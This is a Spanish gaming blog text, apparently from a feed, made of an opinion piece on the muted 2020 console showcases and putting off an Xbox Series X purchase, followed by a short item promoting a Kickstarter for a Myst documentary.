Los eventos digitales de las desarrolladoras han dejado bien claro que este año toda predicción es fútil. No hay show, ni prácticamente nueva generación. Sin embargo, Microsoft y Sony insisten en hacer despegar la nextgen en medio de la profunda brecha mundial. Solo hay dos títulos de este E3 de Hacendado que me hayan tocado el corazoncito, esos son Fable y Demon’s Souls, lo cual tiene gracia tratándose de un reboot y remake respectivamente. Y, bueno, tienen pinta de que se harán de rogar.

Esta serie de presentaciones veraniegas descafeinadas me dejan claro que hay poca cosa que sacar a la mesa. Las grandes lo han intentado; han enseñado sus mejores cartas de la baraja, pero se me antojan insuficientes para justificar el salto a la nueva generación. A mi alrededor solo observo apatía y desconcierto.

Microsoft facilita una transición a corto-medio plazo con el servicio smart delivery, es decir, me puedo comprar Halo Infinite en Xbox One X y jugarlo en un futuro en Xbox Series X sin coste adicional. Asimismo, no dividirá a los usuarios por generaciones. De esta manera es posible invitar a echar un slayer a cualquiera que esté en mi lista de amigos. La dulce transición, dicen. Visto así, ¿para qué voy a cambiar este año de generación? ¿Por la ilusión de estrenar algo nuevo? No se ha mostrado demasiado músculo gráfico y la primera hornada deja a relucir que son títulos intergeneracionales.

Antes del extraño caso del pangolín -o del proyecto ultrasecreto de Bill Gates, depende de donde mires- estaba convencida de adquirir una Series X, pero ahora me parece más sensato apretarse el cinturón y ser paciente en esta vorágine de incertidumbre. Posponer en 2020 es sin duda la opción correcta.

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Campaña para un documental de Myst https://lafortalezadelechuck.com/retro/campana-para-un-documental-de-myst/ https://lafortalezadelechuck.com/retro/campana-para-un-documental-de-myst/#respond Wed, 22 Jul 2020 11:28:27 +0000 http://lafortalezadelechuck.com/?p=11951 Seguir leyendo Campaña para un documental de Myst]]>

Myst (1993) fue una aventura point and click en primera persona que muchos aventureros recordarán. En ella nos embarcábamos en un viaje extraordinario hacia la lejana isla Myst. Allí nos esperaban puzles intrincados, entornos preciosistas y una banda sonora de altura. Su originalidad no pasó de largo, dando vida a una buena ristra de aventuras que se inspiraron en la obra de los hermanos Miller.

Philip Shane es un director de documentales con más de 25 años de experiencia. En su dilatada carrera ha trabajado con artistas de varias categorías y también con personajes de la política. Su nuevo reto lo pone en contacto con la aventura gráfica en su futuro documental de Myst, y tú puedes formar parte.

Esto es lo que cuenta sobre su proyecto:

THE MYST DOCUMENTARY contará la increíble historia de dos hermanos con talentos e intereses dispares, que pudieron formar una sociedad que revolucionaría la forma en la que el público consume videojuegos. […] Los hermanos Miller pudieron abrir nuevos caminos al escribir un guión original desde cero, creando un entorno virtual completamente nuevo mucho antes de que surgiera Internet, componiendo una partitura musical atmosférica, e incluso grabando y actuando en videos cortos en su compañía, Cyan Worlds. En los años siguientes, Cyan lanzó varias secuelas, incluidas RIVEN y URU, que aportaron una nueva sofisticación al universo MYST.

El proyecto se encuentra actualmente en preproducción, pero Shane quiere apuntar bien alto con profesionales para darle una calidad a la altura del título. Si quieres formar parte del proyecto no lo dudes, entra en su Kickstarter.

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